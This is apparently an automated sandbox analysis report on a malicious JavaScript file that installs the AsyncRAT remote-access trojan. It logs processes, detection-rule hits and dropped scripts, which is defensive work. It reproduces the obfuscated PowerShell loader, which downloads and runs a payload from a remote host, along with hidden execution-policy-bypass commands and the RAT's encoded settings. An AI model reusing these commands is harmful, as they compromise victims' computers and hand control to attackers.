[char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 +
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD9B7030E95_2_00007FFD9B7030E9
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD9B7330E96_2_00007FFD9B7330E9
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_00007FFD9B650FF228_2_00007FFD9B650FF2
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 40_2_0132141840_2_01321418
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 56_2_015113F856_2_015113F8
                  Source: DEVIS_VALIDE.jsInitial sample: Strings found which are bigger than 50
                  Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 15447
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: Commandline size = 2677
                  Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 15447Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: Commandline size = 2677Jump to behavior
                  Source: 53.2.powershell.exe.1d3333e0230.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 44.2.powershell.exe.1558669f3b8.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 36.2.powershell.exe.1de3d91f608.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 28.2.powershell.exe.1e6806fed08.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 20.2.powershell.exe.20ece618be0.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 44.2.powershell.exe.1558669b658.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 28.2.powershell.exe.1e6806fafa8.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 20.2.powershell.exe.20ece614e80.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 36.2.powershell.exe.1de3d91b8a8.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 53.2.powershell.exe.1d3333dc4d0.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 00000020.00000002.2087880132.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 0000002C.00000002.2333261639.0000015586871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 00000035.00000002.2425933120.000001D3332B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 00000014.00000002.2013251264.0000020ECE7E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 00000035.00000002.2425933120.000001D3335B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 0000002C.00000002.2333261639.000001558655B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 00000014.00000002.2013251264.0000020ECE53D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 0000001C.00000002.2070695014.000001E6808CE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 00000024.00000002.2195585060.000001DE3D7DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 00000024.00000002.2195585060.000001DE3DAEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: 0000001C.00000002.2070695014.000001E6805BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                  Source: Process Memory Space: powershell.exe PID: 6536, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                  Source: Process Memory Space: powershell.exe PID: 8080, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                  Source: Process Memory Space: powershell.exe PID: 2568, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                  Source: Process Memory Space: powershell.exe PID: 1820, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                  Source: Process Memory Space: powershell.exe PID: 8700, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                  Source: Process Memory Space: powershell.exe PID: 8224, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                  Source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, Helper.csCryptographic APIs: 'TransformFinalBlock'
                  Source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, Helper.csCryptographic APIs: 'TransformFinalBlock'
                  Source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, AlgorithmAES.csCryptographic APIs: 'TransformFinalBlock'
                  Source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, Helper.csCryptographic APIs: 'TransformFinalBlock'
                  Source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, Helper.csCryptographic APIs: 'TransformFinalBlock'
                  Source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, AlgorithmAES.csCryptographic APIs: 'TransformFinalBlock'
                  Source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, Helper.csCryptographic APIs: 'TransformFinalBlock'
                  Source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, Helper.csCryptographic APIs: 'TransformFinalBlock'
                  Source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, AlgorithmAES.csCryptographic APIs: 'TransformFinalBlock'
                  Source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, Helper.csCryptographic APIs: 'TransformFinalBlock'
                  Source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, Helper.csCryptographic APIs: 'TransformFinalBlock'
                  Source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, Settings.csBase64 encoded string: 'ZG6hMqbSESP476OwP+fBynGNexEnlHJpEYqfPFgvw99g84U2qxnc7qYG5cVgM2XG', 'ot3Fkq0zGKmErTQmMnNssmTgnmd5SLTGdTBrkTW204xIDIbal9/lwy2QzbFgQUUb', '/Gh/fO3XS+W/GgENDrpU9UZwRTcLQ55GedhN7J/003Jq1W/QvhhX9hxxN2gbCWVY'
                  Source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, Settings.csBase64 encoded string: 'ZG6hMqbSESP476OwP+fBynGNexEnlHJpEYqfPFgvw99g84U2qxnc7qYG5cVgM2XG', 'ot3Fkq0zGKmErTQmMnNssmTgnmd5SLTGdTBrkTW204xIDIbal9/lwy2QzbFgQUUb', '/Gh/fO3XS+W/GgENDrpU9UZwRTcLQ55GedhN7J/003Jq1W/QvhhX9hxxN2gbCWVY'
                  Source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, Settings.csBase64 encoded string: 'ZG6hMqbSESP476OwP+fBynGNexEnlHJpEYqfPFgvw99g84U2qxnc7qYG5cVgM2XG', 'ot3Fkq0zGKmErTQmMnNssmTgnmd5SLTGdTBrkTW204xIDIbal9/lwy2QzbFgQUUb', '/Gh/fO3XS+W/GgENDrpU9UZwRTcLQ55GedhN7J/003Jq1W/QvhhX9hxxN2gbCWVY'
                  Source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, Settings.csBase64 encoded string: 'ZG6hMqbSESP476OwP+fBynGNexEnlHJpEYqfPFgvw99g84U2qxnc7qYG5cVgM2XG', 'ot3Fkq0zGKmErTQmMnNssmTgnmd5SLTGdTBrkTW204xIDIbal9/lwy2QzbFgQUUb', '/Gh/fO3XS+W/GgENDrpU9UZwRTcLQ55GedhN7J/003Jq1W/QvhhX9hxxN2gbCWVY'
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpack, Settings.csBase64 encoded string: 'ZG6hMqbSESP476OwP+fBynGNexEnlHJpEYqfPFgvw99g84U2qxnc7qYG5cVgM2XG', 'ot3Fkq0zGKmErTQmMnNssmTgnmd5SLTGdTBrkTW204xIDIbal9/lwy2QzbFgQUUb', '/Gh/fO3XS+W/GgENDrpU9UZwRTcLQ55GedhN7J/003Jq1W/QvhhX9hxxN2gbCWVY'
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpack, ClientSocket.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                  Source: 53.2.powershell.exe.1d3333e0230.0.raw.unpack, ClientSocket.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, ClientSocket.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                  Source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, ClientSocket.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, ClientSocket.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                  Source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, ClientSocket.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, ClientSocket.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                  Source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, ClientSocket.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, ClientSocket.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                  Source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, ClientSocket.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: classification engineClassification label: mal100.spre.troj.spyw.expl.evad.winJS@93/83@6/6
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheJump to behavior
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1836:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6420:120:WilError_03
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8664:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4280:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7924:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2112:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3592:120:WilError_03
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8708:120:WilError_03
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMutant created: \Sessions\1\BaseNamedObjects\HLfH6HTja99GuzBA
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7892:120:WilError_03
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ldwhjyp.2hg.ps1Jump to behavior
                  Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                  Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DEVIS_VALIDE.js"
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + 